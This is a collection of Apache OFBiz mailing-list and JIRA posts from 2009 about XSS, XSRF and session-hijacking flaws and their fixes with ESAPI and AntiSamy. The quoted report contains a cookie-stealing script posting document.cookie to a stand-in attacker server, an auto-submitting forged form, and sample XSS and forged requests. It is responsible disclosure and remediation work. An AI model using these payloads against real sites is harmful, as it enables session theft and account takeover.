http://x.x.x.x/malicious.js";> > > The malicious code will look as the following one: > > > var > str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL</a>; > > if(document.cookie.indexOf(&qu
Re: Security Issues
On Feb 18, 2009, at 4:25 AM, euronymous wrote: David E Jones-3 wrote: 2. security vulnerability tests: now we want to hit the public facing (ecommerce, cmssite, etc) apps and the back-end apps to check as many vulnerabilities as we can In reply to your find-bug-campaing: https://issues.apache.org/jira/browse/OFBIZ-1959 See my latest comment. A reflected XSS in latest trunk (partymgr --> viewprofile --> partyId). Let me know David I'll try to look at that in the next day or two. It is probably a place that doesn't uses the common tools and so gets around these somehow... -David
Re: Security Issues
David E Jones-3 wrote: > > > 2. security vulnerability tests: now we want to hit the public facing > (ecommerce, cmssite, etc) apps and the back-end apps to check as many > vulnerabilities as we can > > In reply to your find-bug-campaing: https://issues.apache.org/jira/browse/OFBIZ-1959 See my latest comment. A reflected XSS in latest trunk (partymgr --> viewprofile --> partyId). Let me know David Anyway, really thanks for the time you spent implementing esapi and antysamy. All the best Michele Orrù -- View this message in context: http://www.nabble.com/Security-Issues-tp21622188p22076718.html Sent from the OFBiz - Dev mailing list archive at Nabble.com.
[jira] Issue Comment Edited: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
good developing time guys Michele Orrù was (Author: euronymous): Hi David, Hi Jaques. I'm analyzing your patches and how you've integrated esapi and antisamy in Ofbiz. I really like the way you implemented it: clear, concise and sussefull...except for an XSS issue that I can still find. Ecommerce seemd "virtually invuylnerable" to XSS now. The problem I mentioned is relative to partymgr. If I log in to the party application, the I search a party, the flow is directed on viewprofile. The partyId parameter is still vulnerable to reflected XSS: basiacally it is escaping HTML but not in the good way. --- REQUEST --- GET /partymgr/control/viewprofile?partyId=admin">alert(6) HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/partymgr/control/findparty Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin --- RESPONSE --- (truncated where unnecessary to explanation) the injected JS is popping-up so much because the parameter partyId value is used to create links ton other resources...thus closing the tag and then re-opening another one with .. causes this, as you can see from the following excerpt. [...] alert(6)">Profile alert(6)">Preferences alert(6)">Role(s) alert(6)">Link Party alert(6)">Relationships alert(6)">Vendor alert(6)">Tax Infos alert(6)">Rates alert(6)">Shopping Lists alert(6)">Segments alert(6)">Classifications alert(6)">Contact Lists alert(6)">Party Content alert(6)">Party Skills alert(6)">Trainings alert(6)">Resumes alert(6)&&referredByPartyId=admin">alert(6)">Employment Applications alert(6)">Fin. History alert(6)">Geolocation [...] I'm gonna debug a little bit to understand why... (anyway Idea 8.1 with remote debuggin on tomcat is too slow :( ) Have a good developing time guys P.S.: clearly, XSRF has not been fixed, and is possible even without XSS of course. just try to swend the following request, after authentication, changing the UserAgent (so your browser): try cganing with this Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1 POST /partymgr/control/createPerson HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin Content-Type: application/x-www-form-urlencoded Content-Length: 509 salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED It will work because there aren't any random token appended to the POST request. But you already know that I think, as Session Management protections. Michele Orrù > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Af
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674572#action_12674572 ] Michele Orru commented on OFBIZ-1959: - Hi David, Hi Jaques. I'm analyzing your patches and how you've integrated esapi and antisamy in Ofbiz. I really like the way you implemented it: clear, concise and sussefull...except for an XSS issue that I can still find. Ecommerce seemd "virtually invuylnerable" to XSS now. The problem I mentioned is relative to partymgr. If I log in to the party application, the I search a party, the flow is directed on viewprofile. The partyId parameter is still vulnerable to reflected XSS: basiacally it is escaping HTML but not in the good way. --- REQUEST --- GET /partymgr/control/viewprofile?partyId=admin">alert(6) HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/partymgr/control/findparty Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin --- RESPONSE --- (truncated where unnecessary to explanation) the injected JS is popping-up so much because the parameter partyId value is used to create links ton other resources...thus closing the tag and then re-opening another one with .. causes this, as you can see from the following excerpt. [...] alert(6)">Profile alert(6)">Preferences alert(6)">Role(s) alert(6)">Link Party alert(6)">Relationships alert(6)">Vendor alert(6)">Tax Infos alert(6)">Rates alert(6)">Shopping Lists alert(6)">Segments alert(6)">Classifications alert(6)">Contact Lists alert(6)">Party Content alert(6)">Party Skills alert(6)">Trainings alert(6)">Resumes alert(6)&&referredByPartyId=admin">alert(6)">Employment Applications alert(6)">Fin. History alert(6)">Geolocation [...] I'm gonna debug a little bit to understand why... (anyway Idea 8.1 with remote debuggin on tomcat is too slow :( ) Have a good developing time guys P.S.: clearly, XSRF has not been fixed, and is possible even without XSS of course. just try to swend the following request, after authentication, changing the UserAgent (so your browser): try cganing with this Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1 POST /partymgr/control/createPerson HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=1; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin Content-Type: application/x-www-form-urlencoded Content-Length: 509 salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED It will work because there aren't any random token appended to the POST request. But you already know that I think, as Session Management protections. Michele Orrù > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 >
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674048#action_12674048 ] Jacques Le Roux commented on OFBIZ-1959: Hi Michele, Yes it was done with ESAPI. But David (E. Jones) is the culprit, I only helped here and there. Thanks for your appreciated help > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > parameter is quite un-useful and so prone to store our malicious code) with > something > like: > > > value="alert(document.cookie)"> > > The malicious code will display every cookie information in a pop-up, that > only the victim > will see: obviously we don't want this. > 3.: We can then create a little cookie-grabber servlet that listen for GET > request from > our victims, extract the useful parameters and store them in a file or DB, in > a way > that wen can hijack the session of the admin/manager. > > The internalName value is prone to store our malicious code also because his > maxlength > is 255 characters: this gives us a great advantage when creating a complex > injection code, > if we don't want to inject a link to the malicious script like > http://x.x.x.x/malicious.js";> > > The malicious code will look as the following one: > > > var > str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL</a>; > > if(
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674013#action_12674013 ] Michele Orru commented on OFBIZ-1959: - Hi Jacques Sorry to come here in the discussion two days later... I will check it in these days...I will update my ofbiz trunk now. And this night I will check it. Anyway, any details, reference about tools you used to fix the vulns? ESAPI? let me know All the best Jacques Michele Orru' > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > parameter is quite un-useful and so prone to store our malicious code) with > something > like: > > > value="alert(document.cookie)"> > > The malicious code will display every cookie information in a pop-up, that > only the victim > will see: obviously we don't want this. > 3.: We can then create a little cookie-grabber servlet that listen for GET > request from > our victims, extract the useful parameters and store them in a file or DB, in > a way > that wen can hijack the session of the admin/manager. > > The internalName value is prone to store our malicious code also because his > maxlength > is 255 characters: this gives us a great advantage when creating a complex > injection code, > if we don't want to inject a link to the malicious script like > http://x.x.x.x/malicious.js";> > > The malicious code will look as the following one: > > > var > str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12673494#action_12673494 ] Jacques Le Roux commented on OFBIZ-1959: Hi Michele, Could you please check, with the tools you are used to use for that, that the recent efforts on security has fixed the problems you encoutered. I think that it's ok for XSS but I did not check yet XSRF and Session Hijacking. Anyway using an update specialised tool for that should not hurt and you are far more knowledgeable than me on that... Thanks > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > parameter is quite un-useful and so prone to store our malicious code) with > something > like: > > > value="alert(document.cookie)"> > > The malicious code will display every cookie information in a pop-up, that > only the victim > will see: obviously we don't want this. > 3.: We can then create a little cookie-grabber servlet that listen for GET > request from > our victims, extract the useful parameters and store them in a file or DB, in > a way > that wen can hijack the session of the admin/manager. > > The internalName value is prone to store our malicious code also because his > maxlength > is 255 characters: this gives us a great advantage when creating a complex > injection code, > if we don't want to inject a link to the malicious script like > http://x.x.x.x/malicious.js";> > > The malicious code will look as the following one: > > > var > str="<a rel="nofollow" href="http://ourHackServ
Re: Security Issues
With my latest commit (rev 742352) I've finished a first pass on a few things for this. My commit log for that is included below (and has some important notes). Now in place are: 1. canonicalization for all incoming parameters 2. encoding of output for all String fields in forms, and for all String objects in FTL files (use something other than a String object, like a StringBuffer or something if you don't want encoding) 3. validation of input in the Service Engine to restrict allowed HTML, with three options for the allow-html attribute including none (default), safe (antisamy-based), and any (no checking of HTML input) Which these in place we protect from XSS and related attacks in a few ways, and most data should be validated in input and encoded on output so that it is not interpreted by the browser as HTML. This is also a general good thing as users won't accidently type in characters that mess up the HTML either. There is still potential for security holes, especially when the main (ie best practice recommended) OFBiz tools are not used. Just using the ControlServlet, the Screen Widget and the Service Engine should handle most of these issues now (unless someone explicitly disables these tools). There are also a bunch of places still where HTML should be allowed, at least the AntiSamy "safe" HTML, but currently isn't. I've spent dozens of hours on this stuff now and done a LOT of testing, but I know there is a lot more testing and refinement to do. We could use help from anyone listening with the following things: 1. anything that used to work but now doesn't, especially funny text on screens or complaints about HTML related things 2. security vulnerability tests: now we want to hit the public facing (ecommerce, cmssite, etc) apps and the back-end apps to check as many vulnerabilities as we can 3. requests for loosening up in certain places that are now by default too strict (probably because they haven't been reviewed yet with these new defaults in place) Help with these things would be greatly appreciated! Also, thanks for the help so far from those who have commented and been patient and such. Going forward, some things I still want to work on are dynamic session tokens to use in addition to a jsessionid in order to prevent session hijacking, and also form submission tokens to avoid form hijacking (just in case XSS slips in, etc) and also to avoid duplicate submission of forms. As usual when these happen is another question! Things have been piling up as I pushed on these... :( -David == Date: Mon Feb 9 09:34:34 2009 New Revision: 742352 URL: http://svn.apache.org/viewvc?rev=742352&view=rev Log: Added new allow-html tag on the attribute, auto-attribute, and override elements; has 3 options: none, safe, and any; the comments in the XSD file describe what each of these do; the important thing to know is that none is the default meaning no html is allowed; if html is needed use safe and look at the antisamy-esapi.xml file to see policy details; in extreme trust cases use any where any html is allowed; note that many services need updating which should allow at least safe html, and it may take some time to discover all of those and get them handled; please send in issues and requests for service attributes that should allow safe html On Jan 23, 2009, at 3:41 AM, David E Jones wrote: Hello all. I'm actually a little surprised we're still where we are on this, so I'm putting some time into this... understanding that it will annoy as many people as it pleases (at first anyway...). In order to address various XSS and XSS-like security threats, I'd like to get some real and comprehensive stuff in place. Right now there are super-easy attacks that can be done, like putting JavaScript in a field during checkout that gets executed when a CSR (or anyone using the Order Manager) looks at the order, or someone looks at it in the Party Manager or wherever. That script can grab the session id and send it to a URL for session hijacking, or it can directly perform some action like marking the order as paid offline or creating a new admin account or changing the users password or whatever. The script could do anything the poor back-end user has access to do, and that's just an example. The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) We have some simple code that does escaping for HTML chars, but it's not really used anywhere. Anyway, I think we need something more robust and comprehensive, especially given the fun ways of getting around filters and other things presented here: http://ha.ckers.org/xss.html What I'd l
Re: Security Issues
The problem with something really generic and independent like using ESAPI in this way is that it can't really leverage existing features and functionality of the framework. There are various places where we'll want to normalize, validate, and encode data coming into or going out of the system. The ESAPI library has good tools for doing those tasks and while we may have to do other things, the first main task is to use that library in various parts of the framework to normalize and validate incoming data and encode outgoing data. The configuration for doing these things should be as integral to the framework as possible, ie reusing existing settings that are related and creating new ones (XML element attributes in entity or service or form or whatever defs) as needed. The general idea is that this becomes an "everyday" part of the framework and we're using ESAPI underneath to make it easier to implement, and to leverage the research and effort they've put into this. If someone wanted to deploy the ESAPI servlet filter (ie in the web.xml file) and configure it independently as well then that is certainly an option. I don't want that to be the core approach because so much of that configuration would be redundant with things we already have and use, and would generally not be as automated. -David On Feb 2, 2009, at 9:41 AM, Philipp Hoppen wrote: Hi Pierre I took a look at the ESAPI library David suggested and tried to use it in OFBiz for input filtering. It basically works as you described by a filter specified in web.xml. There is a "SafeHTTPFilter" class that uses a "SafeRequest" and a "SafeResponse" which call a "Validator" object that is parametrized using regular expressions defined in ESAPI.properties. The ESAPI reference implementations and default property values are very restrictive (for example, leaving a form parameter empty is not possible), so these have to be customized for use in OFBiz. The good thing about a servlet filter is that it is used very early in the processing and doesn't require to modify code, but I don't know yet how we can make the link to an entity or service field to allow HTML for specific parameters... A Validator can then probably be used for output encoding too (maybe in GenericValue.get as David suggested). As we're interested in fixing these security issues in our OFBiz projects (i made a Jira issue some weeks ago, https://issues.apache.org/jira/browse/OFBIZ-2121 , but it didn't get any attention), I can work at least 1 day per week on this stuff. It would be nice if we could work on this together in the same direction... -- Philipp Hoppen, nowhow solutions AG, Laupenstrasse 1, CH-3008 Bern Phone +41 (0)31 380 00 71 http://www.nowhow.ch pierre schrieb: Thank you Jacques, Other opinions on this approach? Can we work above? Pierre Jacques Le Roux wrote: Hi Pierre, From: "pierre" Hi all, Here is a proposition on how to implement such XSS control: First we consider that all HHTP request should be filtering. So we could add a filter into web.xml for each webapp that replaces a set of dangerous characters by there HTML code. By this way we can block all XSS attacks for entire application. Yes it makes sens indeed, that's what Michele also suggested in this thread, (with less details) : http://www.nabble.com/Re%3A-Security-Issues-p21628377.html After filtering all requests, we should add a way to parameterise this. So we could add 2 properties : - the first one to specifie a regex pattern that is used by filter engine - the second one to disable filtering And to be very flexible we can set those properties (or attributes) on 3 levels : - request (from request-map) - webapp (for a complete webbapp) - application (main level) The more flexible the better. And finaly we could consider that if there are no paramateres on request level, then we look for webapp parameters. If there are no parameters on webapp we look for application parameters. By this way we could filter all request and set exeption or regex for a particular request or webb-app or entire application. What do you think about this. Yes this will cover this security aspect, and sounds good to me. Thanks Jacques Pierre David E Jones wrote: Hello all. I'm actually a little surprised we're still where we are on this, so I'm putting some time into this... understanding that it will annoy as many people as it pleases (at first anyway...). In order to address various XSS and XSS-like security threats, I'd like to get some real and comprehensive stuff in place. Right now there are super-easy attacks that can be done, like putting JavaScript in a field during checkout that gets executed when a CSR (or anyone using the Order Manager
Re: Security Issues
I took care of it, now it's related to https://issues.apache.org/jira/browse/OFBIZ-1525 Thanks for your help on this... Jacques From: "Philipp Hoppen" Hi Pierre I took a look at the ESAPI library David suggested and tried to use it in OFBiz for input filtering. It basically works as you described by a filter specified in web.xml. There is a "SafeHTTPFilter" class that uses a "SafeRequest" and a "SafeResponse" which call a "Validator" object that is parametrized using regular expressions defined in ESAPI.properties. The ESAPI reference implementations and default property values are very restrictive (for example, leaving a form parameter empty is not possible), so these have to be customized for use in OFBiz. The good thing about a servlet filter is that it is used very early in the processing and doesn't require to modify code, but I don't know yet how we can make the link to an entity or service field to allow HTML for specific parameters... A Validator can then probably be used for output encoding too (maybe in GenericValue.get as David suggested). As we're interested in fixing these security issues in our OFBiz projects (i made a Jira issue some weeks ago, https://issues.apache.org/jira/browse/OFBIZ-2121, but it didn't get any attention), I can work at least 1 day per week on this stuff. It would be nice if we could work on this together in the same direction... -- Philipp Hoppen, nowhow solutions AG, Laupenstrasse 1, CH-3008 Bern Phone +41 (0)31 380 00 71 http://www.nowhow.ch pierre schrieb: Thank you Jacques, Other opinions on this approach? Can we work above? Pierre Jacques Le Roux wrote: Hi Pierre, From: "pierre" Hi all, Here is a proposition on how to implement such XSS control: First we consider that all HHTP request should be filtering. So we could add a filter into web.xml for each webapp that replaces a set of dangerous characters by there HTML code. By this way we can block all XSS attacks for entire application. Yes it makes sens indeed, that's what Michele also suggested in this thread, (with less details) : http://www.nabble.com/Re%3A-Security-Issues-p21628377.html After filtering all requests, we should add a way to parameterise this. So we could add 2 properties : - the first one to specifie a regex pattern that is used by filter engine - the second one to disable filtering And to be very flexible we can set those properties (or attributes) on 3 levels : - request (from request-map) - webapp (for a complete webbapp) - application (main level) The more flexible the better. And finaly we could consider that if there are no paramateres on request level, then we look for webapp parameters. If there are no parameters on webapp we look for application parameters. By this way we could filter all request and set exeption or regex for a particular request or webb-app or entire application. What do you think about this. Yes this will cover this security aspect, and sounds good to me. Thanks Jacques Pierre David E Jones wrote: Hello all. I'm actually a little surprised we're still where we are on this, so I'm putting some time into this... understanding that it will annoy as many people as it pleases (at first anyway...). In order to address various XSS and XSS-like security threats, I'd like to get some real and comprehensive stuff in place. Right now there are super-easy attacks that can be done, like putting JavaScript in a field during checkout that gets executed when a CSR (or anyone using the Order Manager) looks at the order, or someone looks at it in the Party Manager or wherever. That script can grab the session id and send it to a URL for session hijacking, or it can directly perform some action like marking the order as paid offline or creating a new admin account or changing the users password or whatever. The script could do anything the poor back-end user has access to do, and that's just an example. The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) We have some simple code that does escaping for HTML chars, but it's not really used anywhere. Anyway, I think we need something more robust and comprehensive, especially given the fun ways of getting around filters and other things presented here: http://ha.ckers.org/xss.html What I'd like to do is add the OWASP ESAPI library, which is BSD licensed. There is a nice presentation about it as well here: http://code.google.com/p/owasp-esapi-java/ and JavaDocs here: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/index.html == So, there's a tool, no
Re: Security Issues
Thank you Jacques, Other opinions on this approach? Can we work above? Pierre Jacques Le Roux wrote: Hi Pierre, From: "pierre" Hi all, Here is a proposition on how to implement such XSS control: First we consider that all HHTP request should be filtering. So we could add a filter into web.xml for each webapp that replaces a set of dangerous characters by there HTML code. By this way we can block all XSS attacks for entire application. Yes it makes sens indeed, that's what Michele also suggested in this thread, (with less details) : http://www.nabble.com/Re%3A-Security-Issues-p21628377.html After filtering all requests, we should add a way to parameterise this. So we could add 2 properties : - the first one to specifie a regex pattern that is used by filter engine - the second one to disable filtering And to be very flexible we can set those properties (or attributes) on 3 levels : - request (from request-map) - webapp (for a complete webbapp) - application (main level) The more flexible the better. And finaly we could consider that if there are no paramateres on request level, then we look for webapp parameters. If there are no parameters on webapp we look for application parameters. By this way we could filter all request and set exeption or regex for a particular request or webb-app or entire application. What do you think about this. Yes this will cover this security aspect, and sounds good to me. Thanks Jacques Pierre David E Jones wrote: Hello all. I'm actually a little surprised we're still where we are on this, so I'm putting some time into this... understanding that it will annoy as many people as it pleases (at first anyway...). In order to address various XSS and XSS-like security threats, I'd like to get some real and comprehensive stuff in place. Right now there are super-easy attacks that can be done, like putting JavaScript in a field during checkout that gets executed when a CSR (or anyone using the Order Manager) looks at the order, or someone looks at it in the Party Manager or wherever. That script can grab the session id and send it to a URL for session hijacking, or it can directly perform some action like marking the order as paid offline or creating a new admin account or changing the users password or whatever. The script could do anything the poor back-end user has access to do, and that's just an example. The best issues on this are: https://issues.apache.org/jira/browse/OFBIZ-1959 (newer one, good review of OFBiz security and applicable comments, good tips to resolve) https://issues.apache.org/jira/browse/OFBIZ-260 (the old/original one, including my silly comment on it) We have some simple code that does escaping for HTML chars, but it's not really used anywhere. Anyway, I think we need something more robust and comprehensive, especially given the fun ways of getting around filters and other things presented here: http://ha.ckers.org/xss.html What I'd like to do is add the OWASP ESAPI library, which is BSD licensed. There is a nice presentation about it as well here: http://code.google.com/p/owasp-esapi-java/ and JavaDocs here: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/index.html == 